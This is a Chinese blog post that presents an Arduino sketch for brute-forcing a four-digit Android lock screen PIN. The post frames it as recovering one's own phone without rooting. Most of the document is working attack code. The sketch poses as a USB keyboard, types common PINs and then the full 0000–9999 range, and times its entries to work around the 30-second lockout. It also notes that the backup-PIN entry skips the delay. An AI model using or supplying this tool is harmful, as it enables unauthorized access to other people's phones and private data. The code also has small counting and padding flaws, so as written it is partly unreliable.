使用过安卓手机的小伙伴们肯定会有些惨痛经历，经常会忘记手机解锁图形和PIN码，但如果通过Root等方式破解手机恐怕再也无法得到官方保修，这里就介绍一种方法安全的破解它！

     当然，三星Galaxy S3手机的PIN码只有四位，如果从0000一直尝试到9999大概只需要16个小时，如果你的手机碰巧是小米手机，PIN码又碰巧设了17位，那你就果断Root吧~~

     代码如下：

1. 
   
2. /*
3. Brute forcing Android 4 Digit PIN's
4. To run the whole range it will take upwards of 16 hours because of
5. the 30 second delay after 5 bad inputs
6. Intrestingly, if the target phone has the pattern enabled
7. and the backup PIN set, the backup PIN entry system doesn't force the 30 second delay after
8. invalid attempts
9. http://blog.infosecsee.com */
10. 
    
11. const int buttonPin = 2; // input pin for pushbutton
12. int previousButtonState = HIGH; // for checking the state of a pushButton
13. int counter = 0; // button push counter
14. int check = 0;
15. 
    
16. void setup() {
17. 
    
18. pinMode(buttonPin, INPUT);
19. 
    
20. Keyboard.begin();
21. }
22. 
    
23. void loop() {
24. 
    
25. int buttonState = digitalRead(buttonPin);
26. if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
27. Mouse.move(25, 50, 0);
28. String three = "000";
29. String two = "00";
30. String one = "0";
31. 
    
32. while(counter < 10000){
33. delay(1000);
34. while (check < 1){
35. Keyboard.println("1234");
36. delay(500);
37. Keyboard.println("1111");
38. delay(500);
39. Keyboard.println("0000");
40. delay(500);
41. Keyboard.println("1212");
42. delay(500);
43. Keyboard.println("7777");
44. Keyboard.println("");
45. Keyboard.println("");
46. delay(30000);
47. Mouse.move(25, 50, 0);
48. Keyboard.println("1004");
49. delay(500);
50. Keyboard.println("2000");
51. delay(500);
52. Keyboard.println("4444");
53. delay(500);
54. Keyboard.println("2222");
55. delay(500);
56. Keyboard.println("6969");
57. Keyboard.println("");
58. Keyboard.println("");
59. delay(30000);
60. Mouse.move(25, 50, 0);
61. Mouse.move(25, 50, 0);
62. Keyboard.println("9999");
63. delay(500);
64. Keyboard.println("3333");
65. delay(500);
66. Keyboard.println("5555");
67. delay(500);
68. Keyboard.println("6666");
69. delay(500);
70. Keyboard.println("1122");
71. Keyboard.println("");
72. Keyboard.println("");
73. delay(30000);
74. Mouse.move(25, 50, 0);
75. Keyboard.println("1313");
76. delay(500);
77. Keyboard.println("8888");
78. delay(500);
79. Keyboard.println("4321");
80. delay(500);
81. Keyboard.println("2001");
82. delay(500);
83. Keyboard.println("1010");
84. delay(500);
85. Keyboard.println("");
86. Keyboard.println("");
87. delay(30000);
88. Mouse.move(25, 50, 0);
89. check++;}
90. if (counter < 10 && check == 1) {
91. 
    
92. Keyboard.println(three + counter);
93. delay(500);
94. counter++;
95. Keyboard.println(three + counter);
96. delay(500);
97. counter++;
98. Keyboard.println(three + counter);
99. delay(500);
100. counter++;
101. Keyboard.println(three + counter);
102. delay(500);
103. counter++;
104. Keyboard.println(three + counter);
105. delay(500);
106. Keyboard.println("");
107. Keyboard.println("");
108. delay(30000);
109. Mouse.move(25, 50, 0);
110. }
111. else if (counter < 100){
112. Keyboard.println(two + counter);
113. delay(500);
114. counter++;
115. Keyboard.println(two + counter);
116. delay(500);
117. counter++;
118. Keyboard.println(two + counter);
119. delay(500);
120. counter++;
121. Keyboard.println(two + counter);
122. delay(500);
123. counter++;
124. Keyboard.println(two + counter);
125. delay(500);
126. Keyboard.println("");
127. Keyboard.println("");
128. delay(30000);
129. Mouse.move(25, 50, 0);
130. }
131. else if (counter < 1000){
132. Keyboard.println(one + counter);
133. delay(500);
134. counter++;
135. Keyboard.println(one + counter);
136. delay(500);
137. counter++;
138. Keyboard.println(one + counter);
139. delay(500);
140. counter++;
141. Keyboard.println(one + counter);
142. delay(500);
143. counter++;
144. Keyboard.println(one + counter);
145. delay(500);
146. Keyboard.println("");
147. Keyboard.println("");
148. delay(30000);
149. Mouse.move(25, 50, 0);
150. }
151. else {
152. Keyboard.println(counter);
153. delay(500);
154. counter++;
155. Keyboard.println(counter);
156. delay(500);
157. counter++;
158. Keyboard.println(counter);
159. delay(500);
160. counter++;
161. Keyboard.println(counter);
162. delay(500);
163. counter++;
164. Keyboard.println(counter);
165. delay(500);
166. Keyboard.println("");
167. Keyboard.println("");
168. delay(30000);
169. Mouse.move(25, 50, 0);
170. }
171. }
172. }
173. previousButtonState = buttonState;
174. }
175. 
     

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